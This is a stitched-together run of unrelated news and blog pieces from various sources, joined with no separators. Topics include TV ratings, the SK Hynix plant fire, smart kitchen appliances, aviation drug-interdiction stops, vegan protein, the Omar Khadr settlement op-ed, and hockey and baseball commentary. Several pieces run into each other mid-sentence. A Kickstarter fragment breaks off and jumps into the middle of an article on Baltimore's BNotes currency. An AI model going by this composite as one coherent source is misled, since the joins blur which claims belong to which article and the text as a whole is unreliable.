If I could send one message to all the new Kindle owners, it would be this: that owning a Kindle is a lot of fun. And remember that the Kindle is surprisingly flexible. Besides ebooks there’s also a great selection of games for the Kindle, and you can even use it to read your favorite newspapers and magazines. (Not to mention some great Kindle blogs!) So to all the new Kindle owners: happy holidays
And happy Kindle-ing!Suvivor, Survivor: Reunion and Modern Family were each adjusted up a tenth among adults 18-49 versus the preliminary Wednesday broadcast ratings.
Want to know why adjustments occur to the preliminary ratings? Read this.
Final broadcast primetime ratings for Wednesday, May 20, 2015 (all Live+Same Day ratings):
Time Net Show 18-49 Rating 18-49 Share Viewers Live+SD (million) 8:00PM CBS Survivor (8-10PM) 2.3 7 9.74 ABC 500 Questions 1.2 5 5.06 FOX MasterChef (8-10PM) 1.2 4 3.39 NBC The Mysteries of Laura 1.1 4 7.05 CW Supernatural -R 0.3 1 0.97 tvbythenumbers.com 9:00PM ABC Modern Family 2.3 8 7.20 NBC Law and Order: SVU 1.4 5 6.96 CW Supernatural 0.7 2 1.73 9:30PM ABC black-ish 1.6 5 5.36 10:00PM CBS Survivor Reunion 1.8 6 7.21 NBC Chicago PD 1.4 5 7.21 ABC Celebrity Wife Swap 1.0 3 3.23
-Nielsen TV Ratings: ©2015 The Nielsen Company. All Rights Reserved.—SK Hynix Semiconductor's memory fabrication plant in Wuxi, China was engulfed flames earlier today after a fire swept through the building.
Several major memory suppliers have may have stopped shipments until they know the full extent of the damage to the Hynix plants and what effect it will have on the market as a whole, according to reports. The plant, Hynix FAB C2, was said to be in better condition after the fire than first reported.
The fires have been extinguished, the company said in a statement today.
"At around 16:50 Korean time, a fire occurred during equipment installation but the fire was completely extinguished by 18:20 Korean time," the company said. "We are still investigating the extent of damage, however there was no human casualty with only one minor injury."
The company said that while published photos showed the FAB facility surrounded by smoke and engulfed in flames, "the damage is not as severe as it seems as the smoke was created because the fire was concentrated in the air purification facilities that are linked to the rooftop of the fab."
The company also said in an email reply to Computerworld that there is no material damage to the fab equipment in the clean room, and Hynix expects to resume operations in a short time period, so overall production and supply volume should not be "materially affected."
Hynix expects the majority of the damage will be covered by insurance.
Hynix is the world's second largest producer of memory chips and represents some 30% of worldwide production. It supplies tech giants like Apple with memory for smartphones and tablets.
"If those pictures are real, then this is significant," said Mike Howard, a principal analyst at DRAM & Compute Platforms at IHS iSuppi, referring to online photos.
"The DRAM market is already tight and the Wuxi facility is nearly 15% of global DRAM capacity. If the Wuxi fab is down hard (meaning wafers in process are scrapped) then we expect prices to jump immediately - likely for NAND and DRAM," Howard said.
If the damage forces Hynix keep the FABs offline for any duration, then prices of DRAM and NAND could climb significantly.
"I would not be surprised to see a 10% jump in the spot price to today," Howard said.
Lucas Mearian covers storage, disaster recovery and business continuity, financial services infrastructure and health care IT for Computerworld. Follow Lucas on Twitter at @lucasmearian, or subscribe to Lucas's RSS feed. His email address is lmearian@computerworld.com.Smart technology is infiltrating the heart of the home, and we couldn’t be happier. Prepare for a kitchen revolution with some of these latest kitchen technology trends. Many of our kitchen remodeling projects are updated with smart devices and appliances and the option to manage your kitchen from your smartphone is about to get real – very real. The possibilities for efficiency, convenience, and time-saving routines are only beginning to open up – and like everything technology related, those possibilities seem endless.
Smart Ovens
Heading home from work? Preheat your oven from your smartphone so you can slide that casserole right in as soon as you walk through the door. LG even has ovens that allow you to send basic information about a recipe to the oven — things like cooking time and oven temp — so the oven can handle that part of the process all on its own.
Smart ovens also allow you to check the cooking status as you go. Cooking management apps keep your cooking more precise to help you avoid burning food. And smart self-cleaning features make that dreaded chore more manageable.
And how about helping you maintain your weight? Yep, smart ovens can help with that. The Samsung Smart Oven can tell you how many calories are in your meal.
TIP: Estimate your kitchen remodel cost in just a few clicks Start your free estimate
Smart Freezers
You don’t need to stop by the store to pick up a bag of ice before your party. You can make a fresh batch with a touch of the button — from wherever you are.
Smart Refrigerators
You’re at the store, and you honestly can’t remember if you have enough milk to get you through the week or you don’t remember seeing your teenager grab a handful of yogurts on his way out the door. Cameras accessible by your smartphone can help you quickly see if you’re running low on milk, yogurt, or the secret stash of chocolate you hope nobody knows about.
It’s hard to keep on top of fresh food, so instead of doing the sniff test, just scan the barcode of the items in your fridge to get an alert when they’re beginning to go bad.
Your phone can alert you when it’s time to replace a filter in the refrigerator, and it can also troubleshoot any problems you’re having so you can know if you’re dealing with an easy fix, or if your situation calls for the professionals. You can even get alerts if the refrigerator door has been left open.
Save energy by pre-setting your smart refrigerator to run on power-saving mode if nobody is going to be home for a while.
How about an LCD display on the refrigerator that allows for smart TV playback, calendars, memos, internet radio, and more? Spending time in the kitchen has never been more fun.
Smart Dishwashers
Download customized cycles for your dishwasher… because why not?
An app can alert you if your wash cycle didn’t go as it should have. You can even be alerted when the cycle is complete. The performance will be monitored, and you can be alerted if there are any leaks in the dishwasher, as well as if your rinse agent is running low.
Ready to create your perfect kitchen? Kukun can help. Start with a free renovation cost estimate today. Estimate in real-time
Smart Cookware and More
A smart frying pan? Sure! The Pantelligent comes with a free app that gives directions on your recipes, as well as real-time temperature feedback.
The Wi-Fi and Bluetooth-enabled SmartPlate will keep track of all your meals, connecting to MyFitnessPal and FitBit. It will also alert you if you’re giving yourself more food than you should. Pair it with a smart fork that monitors and tracks your eating habits that buzzes at you if you’re eating too fast!
Using LED lights and the companion app, this egg tray will alert you when your eggs are about to go bad. At the store, you can’t remember if you’re running out of eggs? The app will tell you how many you have left.
Get your coffee started from anywhere at any time with a coffeemaker managed by your smartphone or tablet. You can make up to 12 cups at once.
The Future Is Here. OK, so we don’t have robots to do our cooking and cleaning yet, but these latest trends in kitchen technology are getting us pretty close. It’s a guarantee that options for smart technology in the kitchen will only continue to expand.Flying has obtained information from a law enforcement source about the federal program that detains pilots upon their arrival at their destination airports and searches their airplanes. Training for the program was conducted via an “aviation drug interdiction” class sponsored by HIDTA (High Intensity Drug Trafficking Area), a government organization that is a conglomerate of federal, state and local law enforcement agencies to fight, as the name implies, drug traffic.
In an email and in further telephone conversations, our source, who is knowledgeable about aviation matters, detailed the training he had received in 2009 in preparation for him to participate in the HIDTA program. He has asked to remain anonymous but has identified himself to Flying.
He told us that the training was taught by two agents, one from the Department of Homeland Security (DHS) and the other from Customs and Border Protection (CBP), which is part of DHS.
As part of the program, our source told us, suspicious airplanes are targeted by law enforcement and tracked through the Aviation Marine Operations Center (AMOC), which can follow both VFR and IFR aircraft. The aircraft are also secretly followed by a DHS aircraft, usually a Cessna Citation, until it arrives at its destination.
According to a number of first-hand reports published by The Atlantic and in AOPA’s eBrief, after they land at their destination the pilots of those airplanes are approached often at gunpoint and usually by local law enforcement, who detain them until the Citation lands and federal agents arrive on scene. They are then ramp checked and they have their airplanes searched.
Our source told us that the ramp check was just a ploy to search the airplane and that the real target of the search was drugs, though even that, he said, could be used as a pretense for apprehending other potential criminals. The federal agents teaching the class he attended did not specify what other kind of “target” they might find, he said.
He also told us that during the training he was taught that the pilots were to be treated as though they had no right to refuse the search. “What they taught law enforcement officers and agents was that all aircraft can be detained since they all fall under the... authority of the FAA.” He continued that, “this in effect gives them complete search authority of any aircraft.”
The agents teaching the course admitted during instruction that the stops had a very low rate of success in finding drug traffickers. Our source said one agent admitted that the stops involved “a lot of empty work but when you get a bite, it’s a big bite.”
Neither Homeland Security nor Customs and Border Protection have responded to Flying’s requests to confirm the account or to provide further details of the program.Do you whip up vegan smoothies for breakfast and hummus six ways for lunch, only to lose your love of plants when dinnertime rolls around? Understandably, it can be harder to get excited about another pasta or rice bowl. Not only does the idea of eating all those carbs after 3 p.m. fly against well-worn diet advice, you might worry that you’re not getting enough protein to fuel your body, especially after a long evening run.
Fear not! That’s the advice of Joel Kahn, M.D., a Detroit cardiologist who’s been vegan for the last 40 years. He tells his patients that they can get plenty of protein from plants. “If you eat the colors of the rainbow, there’s no need to monitor protein grams,” says Kahn, who’s also the clinical professor of medicine at Wayne State University School of Medicine. “But I’m talking about whole plant-based foods, not Skittles or Pringles.”
For the record, the USDA’s recommended dietary allowance for protein intake is your weight multiplied by 0.36, which comes out to 54 grams for a 150-pound person. (You can calculate your own on their website.)While a cooked boneless skinless chicken breast has about 24 grams of protein, many vegan staples will help you meet your daily totals pretty quickly. “Just eating nuts, seeds, beans, and greens provide more than enough protein for you to flourish,” says Kahn. “And you don’t need to add protein powders to your diet, unless you’re an endurance athlete burning 6,000 calories a day.” Some examples: A cup of cannellini beans has 15 grams of protein. A serving of tempeh (fermented soy) adds 19 grams. Even a sprinkling of some chopped almonds and roasted hemp seeds on your salads or quinoa can add 10 more grams. Don’t forget soy milk and vegan yogurt.
Check out these nutritionists’ go-to ideas for dinners bursting with flavor and protein:
DIY Veggie Burgers
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All veggie burgers don't come frozen in a box. In fact, dietitcian Jessica Spiro's favorite recipe includes cooked lentils mixed with mashed butternut squash and onions and spices. "This is where you can get creative," says Spiro. "One of my favorite things is to form patties and pan-fry them in avocado or olive oil." Instead of using traditional raw eggs to bind the mixture, try her vegan chia seed trick. Soaking a tablespoon of chia (or ground flax) seeds in three tablespoons of water for five minutes creates a gel-like substance that keeps your burgers from falling apart on the grill. A cup of lentils packs on 22 grams of protein. A tablespoon of chia seeds add three more.
Protein count: 25 grams
(Hit the reset button—and burn fat like crazy with The Body Clock Diet!)
Grilled tofu and veggies
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Just because you're grilling tofu instead of tri-tip doesn't mean you have to lose your grilling cred. "If you eat tofu out of the block, it's not tasty. No one boils a chicken breast and then complains that it doesn't taste good," says Las Vegas-based dietician Andy Bellatti. "Tofu is a sponge. It soaks up other flavors. You have to know how to boost the flavor." Dazzle your guests with tasty marinades or sauces, such as peanut lime sauce for a Thai kick. A half-cup tofu has 10 grams of protein. Add broccoli, Portobello mushrooms, and a tablespoon of peanut butter in your sauce to bring up your total.
Protein count: 23 grams
Clean your fruits and veggies with this simple DIY cleaner:
Vegan vegetable lasagnas or enchiladas
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The vegetable spiralizer has become a vegan chef's essential tool. However, there are many ways to slice and dice a zucchini to add variety to your dinners. Spiro recommends slicing zukes or yellow squash in thin layers and topping them with tomatoes and onions—and protein-packed vegan cheese, beans, or tofu—in lasagna or enchiladas. A serving of Trader Joe's soy cheese has six grams of protein. Add a half-cup of black beans for eight more and a cup of brown rice for five more.
Protein count: 21 grams
Vegan Tacos With "Mock Meat"
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Those vegan chicken nuggets look like chicken and taste like chicken, and they're a great substitute for times when you're craving chicken. "These days, if you go to most grocery stores, you can find a vegan version of everything from crab cakes to fajita steak strips," says Bellatti. So-called "mock meats" can be a godsend when you want to make your favorite tacos with vegan ground beef. Although they add a protein punch of soy, consider them a treat. They're still processed and tend to be high in sodium. A serving of soy crumbles like Gardein's has 18 grams of protein. Add some soy cheese for another six grams, and black beans for eight more grams, and you've got some seriously protein-powered vegan tacos.
Protein count: 26 grams
Chickpea and grain bowls
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There are other ways to eat beans other than your beloved chickpea hummus. You can mix and match these protein powerhouses in three-bean chili or a more innovative version of those three-bean salads from your college salad bar with a sprinkle of olive tapenade, for example. Mix up your texture by tossing roasted chickpeas into salads. Bellatti suggests draining the water from the canned beans, tossing them with olive oil, lemon juice, soy sauce and your favorite spices. Roast them at 450 degrees for 30 minutes. "Now you have a delicious high-fiber snack ready to go." he says. A half-can of chickpeas has nine grams of protein. Sautee your roasted batch with spinach and add to your quinoa to pack on 10 grams. Drizzle a tablespoon of tahini for three more.
Protein count: 22 gramsCLEVELAND, Ohio -- While bike theft might seem like a minor crime, it can be painful to riders who use bikes each day to commute to school or work or to exercise.
Tomorrow, the Northeast Ohio Media Group will launch a three-day series examining how bicycle theft affects residents in Northeast Ohio.
Reporters collected and analyzed bicycle theft data from Cleveland and 12 suburbs. We've also created a searchable database that will allow you to examine that data, too.
Our reporters spoke with riders, law enforcement officials, bike shop owners, insurance providers, and bike-sharing programs across the U.S. to examine the impact of bike thefts.
Over the next few days we'll be featuring stories about topics such as the effectiveness of bike locks, how your bike is protected by your insurance, and how communities such as Lakewood and Cleveland Heights are addressing bike theft.
This project is the second in a series about Crime in Your Neighborhood. In June, reporters examined burglaries in Northeast Ohio communities, and spoke with some of the people directly affected by those crimes.
We're hoping you'll share your own stories or tell us your thoughts about these issues in the comments.On the Fourth of July, America’s Independence Day, news broke that the government of Canada would reportedly award $10.5 million to a convicted al-Qaida terrorist who murdered an American soldier in Afghanistan.
An anonymous source, apparently from the Trudeau government, spoke to reporters at the Associated Press, the Toronto Star and the Globe and Mail, choosing U.S. Independence Day to leak this story to the press.
We learned that not only will the Trudeau government give $10.5 million in Canadian taxpayer money to terrorist Omar Khadr, Trudeau will also offer an official apology on behalf of all Canadians.
Khadr confessed and pleaded guilty to war crimes, including terrorism, murder, spying and conspiring against Canada and our allies.
He admitted to throwing a grenade that killed Sergeant First Class Christopher Speer.
(Khadr later said he only confessed to get out of Guantanamo prison under a deal to have him finish his sentence in Canada.)
It was only because another American soldier was there to save his life that Khadr is alive today.
To many Canadians, Khadr’s actions are shameful and reprehensible.
They believe it was only through a flawed immigration vetting system that the Khadr family were ever able to step foot on Canadian soil, let alone gain citizenship.
Khadr comes from a family of terrorists.
His father, Ahmed Khadr, was a friend of Osama bin Laden and a leading fundraiser for al-Qaida.
Omar’s older brother, Abdurahman Khadr, once told PBS he had grown up “in an al-Qaida family.”
That the family was able to immigrate to Canada is deeply troubling.
While Omar Khadr was born in Canada, he did not show loyalty to Canada.
In the choice between Canada and al-Qaida, Khadr chose al-Qaida.
He chose Afghanistan.
He chose to be loyal to bin Laden and he chose to be part of an Islamist terrorist army.
Khadr followed in his family’s footsteps; he built bombs and he did what he could to kill Americans.
Khadr is not worthy of the honour of calling himself a Canadian.
He’s not worthy of the passport he carries or the freedom he enjoys.
Khadr should be in prison.
Instead, he is living freely in Canada and about to become a millionaire.
While this symbolic settlement fell on the symbolic national holiday of our closest friend and ally, not all Canadians agree with our prime minister.
Not all believe Khadr is a victim of circumstance.
Trudeau and his government may not value America’s friendship, but most Canadians do.
They understand that America is our closest friend and ally.
We share the same values, ideals, and the world’s longest undefended border.
We are also allies and partners in the war against Islamist terrorism.
When an American soldier is killed by a terrorist, Canadians mourn his death.
But on the 4th of July, instead of supporting our American friends, the Trudeau government gave our money to a man convicted as an America-hating terrorist.
It was a slap in the face, and it appears to have been deliberately announced on Independence Day.
Our American friends deserve better.
Even more so, the widow and family of Khadr’s victim — who have launched a lawsuit to recover any money Khadr receives from the Canadian government — deserve better.
If anyone deserves an apology and our tax dollars, it is the children of Christopher Speer.
A terrorist carrying a Canadian passport killed their father.
That is what our government should be apologizing for.By the time Chipper Jones will have retired, he'll have played 19 seasons with the same team. He'll have just under 500 home runs and a career on-base percentage close to or over.400.
When Jeff Bagwell retired, he had played 15 seasons with the same team. He had 449 home runs and a career on-base percentage of.408.
The two aren't perfectly comparable -- Chipper played a more difficult defensive position, but Bagwell played more than half of his career in a cavernous pitchers' park -- but it's close enough. According to Baseball Reference, Bagwell has 79.9 wins above replacement; Chipper has 82.7.
But one of them will go into the Hall of Fame on the first ballot. As he should. The other one will have to wait several years. As he shouldn't. The difference between Chipper Jones and Jeff Bagwell is that the latter player became muscular. It's 2012. This has been your State of the Hall of Fame report. The Baseball Writers Association has all sorts of guidelines when it comes to voting. Noticeably absent is some sort of clause like "Players who done got all muscly between 1989 and 2006 are expressly forbidden."
And if you think Chipper wasn't muscular, well, look at this picture:
Pretty damning. Though there's a small chance the figurine might not be accurate. In which case we'll just search for "chipper jones arms" in Google Image Search and...
oh god no what did i do i'm so sorry oh no
There we go. Chipper the teenager on the left. Chipper the filled-out veteran on the right. That's the key term: "filled-out." Baseball players who played and starred in the '90s were allowed to fill out. They were not allowed to get muscular. Retroactively, of course. At the time, baseball players who got muscular were something of a new fad, but they were accepted and the norm at one point. They were like Nehru jackets: accepted while the fad was going on, clearly strange in retrospect.
Now there's a select and vocal minority of writers in the BBWAA who have no problem pretending that they are professional arbiters of muscly. The difference between muscular and filled-out is in the eye of the beholder, and a few of those beholders have HOF votes.
This isn't just a Chipper thing, either. Ken Griffey, Jr. filled out, but he is never mentioned as a likely user of performance-enhancing drugs. Frank Thomas is an incredibly large human being, but he's never mentioned because the frame just looked like it could support a large human being.
This isn't to suggest that Chipper, Griffey, and Thomas should all come under greater scrutiny. Rather, it's to point out how absurd the double-standard is, and how absurd it is that for a few minutes, a few normally right-thinking writers go into some sort of fugue in which they pretend that they're physiologists while they fill out their Hall of Fame ballots. And it's something that's preventing Jeff Bagwell from becoming a Hall of Famer.
This is a picture of a player who likely used steroids:
That's Manny Alexander. He hit 15 home runs in 1271 career at-bats. He was listed at 5'10", 150 lbs., but those stats are usually inflated. Performance-enhancing drugs were found in his car during a traffic stop in 2000. He is the living evidence supporting the notion that it's silly to pretend you can tell a steroid user by sight.
It's silly to pretend you can tell a steroid user by sight. That'd make for a better tattoo than Chipper's face. There is no evidence that Chipper Jones messed around with PEDs. Chipper Jones is not under suspicion for using PEDs. Chipper Jones most certainly should not be under suspicion for using PEDs. And he'll get in the Hall of Fame on the first ballot because of it.
Jeff Bagwell got a little bigger than Chipper Jones. That'll keep him out of the Hall of Fame, at least for a few years. Read those two sentences again. It's like something you'd read if Lewis Carroll wrote about baseball. When Chipper Jones announced his retirement, that meant it was time to stop and think about his legacy. If he were just a little bigger, it would be a much different legacy. Here's to the paranoia of the Steroid Era. Here's hoping it goes the hell away soon.Jason Varitek wants to return to the dugout someday.
The former Boston catcher, who was elected to the Red Sox Hall of Fame on Monday, currently is a special assistant to general manager Mike Hazen. But Varitek thinks he could become a manager in the future.
“Having been a part of the front office and having the ability to still get on the field everywhere that I go, I know I have more impact on the field,” Varitek said in a conference call Monday. “Where that role takes me through time, I’m not positive when that will be, but I think my greatest impact to give back to the game is on the field.”
Still, Varitek is enjoying his time in the Red Sox’s front office. He said he learns something new about baseball every day.
“I’ve learned how everybody behind the scenes functions, how people in management function, how the different networks throughout the organization function,” Varitek said. “I learned — which I also had to learn later as a player — I learned how to coach, to translate knowledge that I have to both ends — to both player and to management — and to facilitate between the two in some cases.”
Varitek definitely has the leadership skills to become a skipper. He even became the Red Sox’s fourth captain since 1923 before the 2005 season — an honor rarely bestowed in baseball nowadays.
Thumbnail photo via Greg M. Cooper/USA TODAY Sports Images
Thumbnail photo via Boston Red Sox former catcher Jason Varitek walks to the mound to throw out the ceremonial first pitch with other members of the 2004 Boston Red Sox prior to game two of the MLB baseball World Series against the St. Louis Cardinals at Fenway Park.In what appeared to be an editing error, a Fox affiliate in Oklahoma managed to remove the only mention of evolution from Sunday night's Cosmos science documentary by cutting only 15 seconds from the broadcast.
The much-anticipated reboot of Carl Sagan's legendary Cosmos premiered on Sunday with an overview of the history of the Universe, from the Big Bang to the advent of humans.
It wasn't until the last 10 minutes of the show that host Neil deGrasse Tyson hinted at human evolution.
"We are newcomers to the Cosmos," he explained. "Our own story only begins on the last night of the cosmic year."
"Three and a half million years ago, our ancestors -- your and mine left these traces," Tyson said, pointing to footprints. "We stood up and parted ways from them. Once we were standing on two feet, our eyes were no longer fixated on the ground. Now, we were free to look up and wonder."
But for viewers of KOKH-TV in Oklahoma City, that 15 second paragraph was replaced by an awkwardly-inserted commercial for the evening news. The edit was caught on video and uploaded to YouTube by Adam Bates.
At least one of the segments advertised in the news promo -- a story about a 12-year-old bow hunter -- did air on that evening's newscast.
Watch the original Cosmos clip below:About
Première fois sur Kickstarter?
Rappel : Kickstarter est un outils de financement "Tout-ou-rien". La campagne sera un succès seulement si le financement est atteint. Ce qui veut dire que toute contribution peut faire la différence. Finalement, vous serez facturé et recevrez votre prix seulement si la campagne atteint son but
First Time on Kickstarter?Please keep in mind this is an “all-or-nothing” deal, which means if the campaign does not reach the funding goal then the project cannot move forward. So know that any amount given can make a difference, and this is an incredible opportunity to be a part of a special campaign! Again, you will be charged and receive your reward only if the campaign meets its goal.
Voici un message spécial pour ma famille et amis parlant français.
Excusez les transition moins délicates, vous pouvez voir que ce n'est pas ma profession :)
You |
the Liberty Dollar, which sought to replace what some viewed as a U.S. government monopoly on currency dating back to the end of the Civil War, when this country established a uniform, national currency.
Of course, students of monetary theory would cry foul, noting that BNotes fail to meet the “acceptable” test of the six characteristics of money the second they’re taken out of Baltimore. (Page eight, people.)
Others might wonder about inflation, which was a focus at the launch, although Dicken isn’t too worried.
“As small as we are, we can’t have any inflationary effect,” he said. “[At launch] the most [we printed] is one percent of the aggregate revenue of all the businesses [accepting BNotes].”
Dicken’s not sure when the BGCA will do another printing of BNotes, but the next printing will include 10- and 20-dollar denominations.
Until then, excuse us while we pay for our coffee at Bohemian Coffee House with an Edgar Allan Poe.
-30-Manny Malhotra was skating with his Canuck teammates at practice today after being cleared for light contact by team doctors. Malhotra will still need to undergo another surgery on the eye in the off season, however that procedure is not required for him to return to action in the Stanley Cup Final. Though Canucks fans can’t help but be excited about this latest development, the debate about whether or not Manny Malhotra will suit up for the Canucks in the postseason continues.
You will recall it began a couple weeks ago when Manny was out on the ice alone in a track suit, gloves and a full face visor. This was spectacular news, especially when you consider that nobody in the Canucks’ camp was even sure whether the centreman would ever return to the game of hockey.
A few days passed before Manny joined the team out on the ice – still wearing that track suit. No big deal. But then he poked a shot of adrenaline into the #Canucks twitterverse by wearing full gear at practice. Some were saying “there’s no way he plays” others were convinced he was prepping for a possible return (or why would he be joining practice – surely, not “just for fun”, as the team claimed).
Despite today’s promising news, he is not yet allowed to join the squad for full contact. However, an injury which was initially diagnosed as a ‘season-ender’ now looks like anything but. The way I see it, we’re gonna see Manny again in these playoffs and here’s why:
1. Injured players don’t practice with their teams unless they have a chance to return. Even if the assistant captain’s return to practice gave a major boost to his teammates (as Mike Gillis stated), hurt players are often in a different mindset and it can disrupt the team’s vibe.
2. Since the initial announcement, nobody other than Rick Bowness (…yes Rick Bowness) has explicitly denied that he may come back. Phrases such as “highly unlikely” and “miracle” have been tossed around regarding a return. So have “it’s incredible” and “amazing” regarding his recovery. Unless I hear something similar to: “He will not play again this year”, I believe he comes back.
3. In rare exceptions, injured players who are important to the culture of a team (like Manny or Sidney Crosby) sometimes stick around a team during a playoff run. But injured skaters – no matter how respected their leadership – don’t centre line rushes at practice if they can’t come back. If he’s in there, it’s because he’s getting his legs back so that he’ll be capable of playing should he be cleared to play, and decide to.
4. When was the last time AV refused to talk to the media about a player that was around the team? Not to mention his conviction in denying anyone even the tiniest tidbit. It just seems like Vigneault and Gillis are holding this card as close to their vests as they can. My read: the Canucks aren’t bluffing, they’re under-playing pocket aces.
5. Why isn’t the media allowed to speak with Manny? Apparently Matt Sekeres asked this question of Gillis today, and was snapped at. This is weird because, from what I recall, if a player is practising, they’re usually available to media. Excluding Luongo on game days, of course.
So what happens if he doesn’t come back? I’ll be humiliated as someone who is 0-fer in his blog predictions.
But what if he does come back? Well, that’s the exciting part. If he returns you can bet your house that he’s not gonna jump onto an already effective 3rd line. Which means Manny will be centering a 4th line which could be trusted to share “tough minutes” more evenly with the current 3rd line. Lapierre and Malhotra are both strong defensively, on special teams, and in the face-off circle. Throw Oreskovich on that line, and you’ve combined a solid defensive centre with a less experienced and less talented Raffi Torres. The other wing would be reserved for either Jeff Tambellini or Cody Hodgson. Tambellini fits into Hansen’s mould as a speedster and fore-checker. Tambellini’s play isn’t quite as physical as Hansen’s, but he possesses a more accurate shot, and arguably has stronger natural offensive abilities. If you’re not feelin’ Tambellini on that line, why throw not Hodgson out there? He’s smart, he understands his role, and he would greatly benefit from playing with Manny in a Stanley Cup Final. He might even break the five minute mark in ice-time!
The possible line combinations can, and will be debated until Game 1 begins next Wednesday, but the fact that Manny makes this group better can not.Absolutely priceless.
Secretary of State Condoleezza Rice mocked anti-American cleric Muqtada al-Sadr as a coward on Sunday, hours after the radical leader threatened to declare war unless U.S. and Iraqi forces end a military crackdown on his followers.
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"I know he’s sitting in Iran," Rice said dismissively, when asked about al-Sadr’s latest threat to lift a self-imposed cease-fire with government and U.S. forces. "I guess it’s all-out war for anybody but him," Rice said. "I guess that’s the message; his followers can go to their deaths and he’s in Iran."
Oh, snap! You heard that?! Condi is calling Sadr out for not having the balls to put his skin in the fight!
Of course, the problem with that diss is one can easily imagine it another way.
"I know he’s sitting in [Crawford, Wyoming, Washington, D.C., Knoxville, TN, the offices of the Weekly Standard/National Review/Regnery]. I guess it’s all-out war for anybody but him. I guess that’s his message; our soldiers can go to their deaths in [Afghanistan, Iraq] but he’s in [Crawford, Wyoming, etc., etc., … his mother’s basement eating Cheetos.]
Thanks a lot Condi. Now that you’ve lumped people like Jonah Goldberg and Instapundit in with al-Sadr, they’ll become even more convinced that they’re stalwart Churchills fighting Islamoliberalfascism from their keyboards.
Oh well — more material for Glennzilla.Jakub Voracek enters this offseason coming off of the best season of his seven-year NHL career.
He tallied a career-high 81 points and was just a single assist away from tying for the league lead in assists with Washington's Nicklas Backstrom... which is to say he was the NHL leader among players who don't have the good fortune to neatly pass the puck to Alex Ovechkin on the power play 82 times a season.
While many have called 2014-15 a breakout year for Voracek, the reality is that he's been an elite player for a while now. Since the 2012-13 lockout ended, there have been exactly zero wingers in the NHL with more assists than Voracek, and only two wingers with more total points. In that same time (arbitrary endpoint warning), just six wingers have scored at a.95 point-per-game pace in multiple seasons -- and Voracek is one of them. And his possession numbers are routinely outstanding, and have only improved with each passing season.
Pick any criteria by which to rank NHL wingers, and chances are Jakub Voracek is going to be towards the top of that ranking. He is one of the best wingers in hockey. He is also officially less than one year away from unrestricted free agency, which is all to say that pretty soon he's going to be getting paid like one of the best wingers in hockey.
Yes, Voracek is entering the final year of the four-year, $17 million contract that Paul Holmgren signed him to after his first year with the Flyers. He thoroughly outperformed that contract and has set himself up to get a massive payday -- in line with the ones that elite players get nowadays. Exactly how much of a payday is that? Let's try and figure that out.
Which players are Jake's best comparables?
As an elite winger, it makes sense to compare Voracek to other elite wingers. As such, with the help of the outstanding Hockey-Reference.com Play Index, I went and looked for all of the players who, since the most recent lockout:
... have signed a new contract that covers mostly unrestricted free agency years,
... have played primarily at winger, and,
... have scored between 0.8 and 1 point per game in that time. (An arbitrary range, admittedly, but with Voracek himself at 0.89 points per game in that time frame, it seems like a fair one.)
The results of that search are below. (Note: the per-game stats given are on the whole from the 2012-13 season through the 2014-15 season.)
Player Goals/game Assists/game Points/game First year of extension Age (First year of extension) Contract AAV Contract Length Phil Kessel 0.39 0.52 0.91 2014 27 $8,000,000 8 Corey Perry 0.47 0.43 0.90 2013 28 $8,625,000 8 Jakub Voracek 0.32 0.58 0.89 2016 27?????? Alex Steen 0.40 0.49 0.89 2014 30 $5,800,000 3 Thomas Vanek 0.35 0.47 0.82 2014 31 $6,500,000 3 Blake Wheeler 0.35 0.47 0.82 2013 27 $5,800,000* 5* Daniel Sedin 0.24 0.57 0.81 2014 34 $7,000,000 4 Chris Kunitz 0.37 0.43 0.80 2014 35 $3,850,000 3
Notes: * Blake Wheeler's contract was signed prior to his final restricted free agent year, with a length of six years and an AAV of $5.6 million. For this exercise, we will only include figures for the five years of his contract that cover unrestricted free agency.... ** We didn't include Vladimir Tarasenko's new deal with the St. Louis Blues here because it includes a lot of RFA years, but he's 23 and will earn $7.5 million against the cap for eight years.
Voracek is an $8 million (or more) player
There are two things to notice with this chart:
Jake Voracek is really, really good... one of the best handful of wingers in hockey. Nearly everybody on this list is either considerably worse than Voracek (Kunitz, Sedin, Wheeler, Vanek) or at least several years older (Steen, Vanek, Sedin, Kunitz).
That leaves us with two realistic comparable players for Voracek, and neither of them will make the Flyers' wallet feel good. Phil Kessel and Corey Perry each make more than $8 million per year, and they each signed eight-year deals with their teams in the last two years. Those are mammoth contracts, and Voracek is right in line to get something similar.
Eight years, at least. $8 million per year, if not more. That is Jake Voracek's value.
If he hit the open free agency market next summer, he'd easily get it. Which puts him in a pretty great position, and the Flyers in a rough one: they can either give him that money, or he can walk and get it elsewhere.
Any chance he'd take a home town discount?
Well, before we even say that, there's probably no chance in hell Voracek takes a deal worth less than $7 million per year, or even $7.5 million per year. He's worth $8 million or more, and that's just the reality. He'd be silly to take considerably less.
But there's always the chance he could take a little bit less, although there's no way to know because we're not in the negotiations or inside Jake's head. But let's play the guessing game anyway.
There are a few things working in the Flyers' favor.
It seems pretty clear that Voracek likes playing in Philadelphia. He's an integral part of the team and he gets to play next to Claude Giroux, one of the league's best centers. It's unlikely he'd get a chance to go to another team where he can form that kind of tag team.
Giroux's contract is a thing. Claude is the captain and the face of the franchise, regardless of how good Jake is, and there's a hierarchy there. You can foresee a world where the Flyers would not want to pay Jake more than Claude, and that they would draw the line right there. Claude makes $8.275 million against the cap.
Were Voracek to hit unrestricted free agency, he'd only be able to sign (at most) a seven-year deal. If the Flyers lock him up before July 1, 2016, he can sign for up to eight years. One additional year of security for Voracek -- a year which he would lock down while essentially at his peak value -- is certainly something he'd like to have.
There are things working against the Flyers though, too.
The salary cap has gone up since Giroux signed his deal on Independence Day 2013, and likely will continue to go up. That means higher salaries. It's not hard to picture a world where Voracek gets more than Giroux.
The Flyers would be insane to part with Voracek, and we all know it. So he has leverage there.
Even if Voracek gets the exact same contract as Giroux -- $8.275 million against the cap over an eight-year term -- that's still a ton of cash.
There's no doubt about it: Jakub Voracek is going to get paiiiiiiiiiid. The best case scenario for the Flyers is anything that starts with a seven, and the worst case for them is something that starts with eight and follows with something other than zeroes.
But you know what? It might sting the Flyers' wallet a little bit, but locking up both Voracek and Giroux for the next eight years isn't really the worst thing in the world. Pretty great, actually, and totally worth the money.The Odyssey by Homer is an epic tale featuring moody gods, siren songs and even a cyclops — and in the mind of Richmond Eustis, it was once a fantastical treat.
But when the literary professor assigned the book to a group of students in Jordan, his framework changed. His pupils, asylum seekers from Syria, Iraq, and the Palestinian territories, saw their real stories reflected in the themes of death, danger and displacement.
Today, Eustis and one of his students, Isra'a Sadder, join guest host Talia Schlanger to share a new angle on the 8th century B.C. comic adventure.
